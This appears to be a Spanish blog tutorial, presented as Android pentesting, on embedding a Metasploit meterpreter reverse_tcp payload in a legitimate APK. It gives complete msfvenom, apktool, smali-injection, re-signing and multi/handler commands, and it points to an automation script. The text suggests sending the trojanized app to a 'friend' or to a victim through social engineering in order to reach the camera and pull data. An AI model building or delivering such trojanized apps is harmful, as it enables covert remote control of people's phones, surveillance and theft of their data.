Este artículo es una guía práctica sobre cómo podríamos llegar a realizar pentesting a un sistema Android (comprometer un dispositivo) y obtener una sesión de meterpreter en Android mediante una .apk infectada.
En este tutorial vamos a modificar un APK (cualquier aplicación o juego) añadiéndole un payload de Metasploit (msf) y posteriormente tener una sesión de meterpreter.
Para obtener una sesión Meterpreter en Android, primero genera un payload APK con msfvenom. Luego, usa
apktoolpara desensamblar tanto el payload como la app legítima. Copia el código smali del payload y sus permisos en la app, modifica la actividad principal para ejecutarlo, y finalmente reensambla y firma el nuevo APK.
Vulnerabilidades en Ecosistemas Móviles: iOS vs Android
El móvil está en todas partes estos días. En cuanto al malware, nuestros amigos de Apple siguen manteniendo el paradigma de intentar examinar todas las aplicaciones que entran en la tienda de aplicaciones de iOS. Aunque se trata de un esfuerzo noble, todavía hay casos en los que el malware se cuela por la puerta.
A diferencia de Apple, el mercado de Android es un enfoque abierto que permite a cualquier persona contribuir a la Play Store y, además, representa la mayor parte de la participación del mercado móvil. Además, hay varios sitios de terceros que permiten la descarga directa de archivos de paquetes de aplicaciones Android (APK).
El Rol de Metasploit en el Pentesting de Android
El proyecto Metasploit le permite a un pentester generar cargas útiles (de ahora en adelante ‘payloads’) de Android con un canal de comando meterpreter altamente funcional que se puede cargar en un dispositivo. Normalmente, la carga de este APK se realizará a través del depurador de Android “adb”. Esta es una de las formas más comunes de acceder a dispositivos Android con Metasploit Framework.
Desde la perspectiva de un pen tester, algo divertido de hacer es combinar una aplicación legítima con Meterpreter y cargarla en un dispositivo Android. Naturalmente, podríamos considerar enviar ese ‘malware’ a un “amigo” como un regalo o hacerlo mediante técnicas de ingeniería social.
Proceso para Incrustar Meterpreter en un APK
Las aplicaciones de Android están escritas en Java, que se compilan en un formato ejecutable de Dalvik conocido como DEX. La versión compilada de una aplicación es un archivo ZIP de archivos de bytecode DEX. La máquina virtual Dalvik en Android se reemplazó más recientemente con Android RunTime (ART), que realiza una optimización adicional y compila el código de bytes DEX en un código de ensamblaje nativo.
Smali/baksmali es un ensamblador/desensamblador para el bytecode DEX de Android. Una herramienta de Android llamada “apktool” permite desensamblar DEX comprimidos (archivos APK) en archivos smali, y volver a ensamblar los archivos smali a DEX y, posteriormente, al formato APK comprimido. Podemos usar esta herramienta para desmontar y modificar un archivo APK existente. En este contexto, podemos usar la herramienta para desensamblar y agregar un punto de entrada estático adicional en el código smali del Activity inicial de Android para iniciar nuestro Meterpreter.
En general, los pasos para incrustar un Meterpreter en APK existente son los siguientes:
- Encontrar una aplicación APK de diversión en “apkmirror.com” o en un sitio mirror similar.
- Generar el archivo APK Metasploit.
- Desmontar con “apktool” el archivo APK Metasploit y el archivo APK que intentas modificar.
- Copiar todo el código de smali de Meterpreter en el nuevo directorio smali del APK.
- Encontrar el punto de entrada del código dentro del archivo AndroidManifest.xml de la aplicación APK buscando la línea:
<action android:name="android.intent.action.MAIN"/> - Modificar el archivo “.smali” del activity para incluir una línea que inicie la etapa del Meterpreter.
- Copiar todos los permisos de Meterpreter del AndroidManifest.xml en el AndroidManifest.xml del APK modificado.
- Re-ensamblar en formato comprimido DEX.
- Firmar el archivo APK recién creado con “jarsigner”, y luego cargar en el dispositivo Android de la víctima.
Guía Práctica: Crear un Payload de Meterpreter para Android
Es mucho más fácil entender los pasos anteriores con un ejemplo concreto.
Requisitos:
- Apktool (Integrada en Kali, pero si surge un problema, descarga aquí)
- Kali Linux o una de las mejores distros Linux para pentesting.
Descargar un APK legítimo
Para ilustrar esto, descarga un archivo APK de cualquier juego o aplicación en sitios como apkmonk.com, apkmirror.com o utilizando un APK downloader online para las últimas versiones.
En mi caso usaré de ejemplo nuestra app conocida: How to: Guía para Informáticos
Acerca de la App: La app anterior fue retirada de la tienda. Puedes descargar y usar cualquier APK desde tu sitio web favorito. En caso quieras compartir un APKs, puedes usar un servicio como APKnow.one.

Generar tu malware APK
Luego generaremos un APK Metasploit usando el comando “msfvenom”, una herramienta clave para crear payloads con MSFVenom para Android, de la siguiente manera:
msfvenom -p android/meterpreter/reverse_tcp LHOST=[Tu_IP] LPORT=4444 -o msf.apk
Desmontar los archivos APK
Ambos archivos (APK ‘original’ y APK ‘malware’) se desmontaron usando “apktool” de la siguiente manera:
apktool d HowToGuiaparaInformaticos_v1.5.apk
apktool d msf.apk
Copiar el código de malware a la aplicación original
Una forma fácil de hacer esto es cambiar el directorio del Metasploit APK y luego copiar todos los archivos bajo el directorio “smali” en el directorio, para nuestro caso de ejemplo, HowToGuiaparaInformaticos_v1.5
Un viejo truco que aprendimos de un administrador de sistemas para hacer una copia de seguridad de árboles de directorios completos es usar el comando “tar”, ¿cómo así? pues puedes canalizar la salida de tar en un segundo comando que cambia de directorio y “untars” los archivos resultantes.
Antes de mostrarte el comando, este artículo sobre TAR te puede interesar: +20 Comandos TAR para comprimir y extraer archivos en Linux“
//Primero ubícate en el directorio de msf
cd msf/
tar -cf - ./smali | (cd ../[CarpetaArchivoOriginal]; tar -xpf - )
Encontrar la Actividad EntryPoint
A continuación podemos ver que la actividad de la entrada aparece como “com.esgeeks.howto_informaticos.ui.activity.IntroActivity”. Lo sabemos porque el XML contiene un filtro con “android.intent.action.MAIN” dentro de él.
grep -B2 "MAIN" AndroidManifest.xml
Modificar el archivo smali del EntryPoint
Como se puede ver arriba, en este caso, el archivo se llama “IntroActivity.smali” (generalmente suelen llamarse “MainActivity.smali”, así que dependerá de la aplicación) y se ubicará en el directorio “com.esgeeks.howto_informaticos.ui.activity” según los puntos (“.”) En la ruta de clase completamente calificada.

Dentro del archivo “IntroActivity.smali”, buscamos el método “onCreate()”.
Necesitamos agregar una sola línea de código justo debajo de la llamada al método “onCreate()” para invocar nuestra etapa Meterpreter.
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)VTen en cuenta que lo anterior es una sola línea de código. El resultado final después de la modificación se verá como la siguiente captura de pantalla.

Agregar permisos al archivo APK modificado “AndroidManifest.xml”
Para el siguiente paso, usa grep para buscar todas las líneas en el archivo “AndroidManfest.xml” del Metasploit (msf.apk) que contienen los strings “uses-permission” y “uses-feature” y luego copiarlas.
cat AndroidManifest.xml | grep "uses-permission"
Deberás usar un editor para insertar los permisos en el lugar adecuado en el nuevo archivo “AndroidManifest.xml” (del APK modificado). Busca una línea “uses-permission” existente como tu guía de dónde insertar el texto.

Nota: Podría terminar con algunos permisos duplicados. Opcionalmente puedes eliminarlos pero realmente no importa.
Construir el nuevo archivo de paquete APK
Ahora usa “apktool” de nuevo para volver a ensamblar el archivo resultante del paquete APK. El resultado final se escribirá en un directorio “dist” dentro del propio directorio del APK.
apktool b HowToGuiaparaInformaticos_v1.5
Si te presenta un error, al igual que nos pasó a nosotros. Agrega este comando y vuelve a ejecutar el anterior:
apktool empty-framework-dir --forceVuelva a firmar el archivo del paquete resultante
Un método sencillo es utilizar la “keytool” de Java para generar tu propio repositorio de claves autofirmado y luego firmarlo con la herramienta “jarsigner” como se muestra en las capturas de pantalla a continuación.
keytool -genkey -v -keystore howto.keystore -alias howto -keyalg RSA -keysize 2048 -validity 10000
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore howto.keystore 
Finalmente, el archivo “HowToGuiaparaInformaticos_v1.5.apk” está listo para ser enviado e instalado en un dispositivo Android víctima.
Obtener una sesión de meterpreter
El paso final es, por supuesto, probar nuestra aplicación recién infectada.
Descubrimos entonces que, en el momento en que iniciamos la app, se obtiene un shell Meterpreter en el sistema KALI. Antes que nada, ejecutamos lo siguiente:
msfconsole
use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST "[tu_IP]"
set LPORT "4444"
exploit
¡Ahora sí! Tenemos acceso remoto al dispositivo Android. Una vez dentro, se pueden utilizar diversos comandos Meterpreter Android para explorar el sistema de archivos, acceder a la cámara o extraer información.


Automatización del Proceso: AndroidEmbedIT
Tantos pasos complicados… puede salir mal…
Así que después de realizar todos los pasos requeridos anteriormente, nos preguntamos si había algo más fácil. Hay tantas partes móviles que las posibilidades de error son bastante altas. Es probable que haya otras herramientas disponibles para usar, pero decidimos hacer este tutorial explicando un poco a detalle.
En nuestra búsqueda de encontrar algo más sencillo, nos encontramos con un script de Python para automatizar este proceso. La herramienta se llama AndroidEmbedIT y esta es definitivamente lo más sencillo para obtener algo sin mucho esfuerzo.
Nota: Para usar android_embedit.py solo debes proporcionar un archivo APK generado por Metasploit, un APK original para modificar y un keystore, realizará todos los pasos de forma automática y generará el resultado final para ti.
A continuación se muestra un ejemplo de uso. Todos los archivos temporales y la salida final del APK se almacenarán en el directorio ~/.ae.
python android_embedit.py -kp howto -kn howto -ks howto.keystore [APK_original] msf.apk¡Usa esta herramienta con cuidado y nos vemos en un próximo tutorial! Deja tus dudas en los comentarios y comparte este artículo ;’)



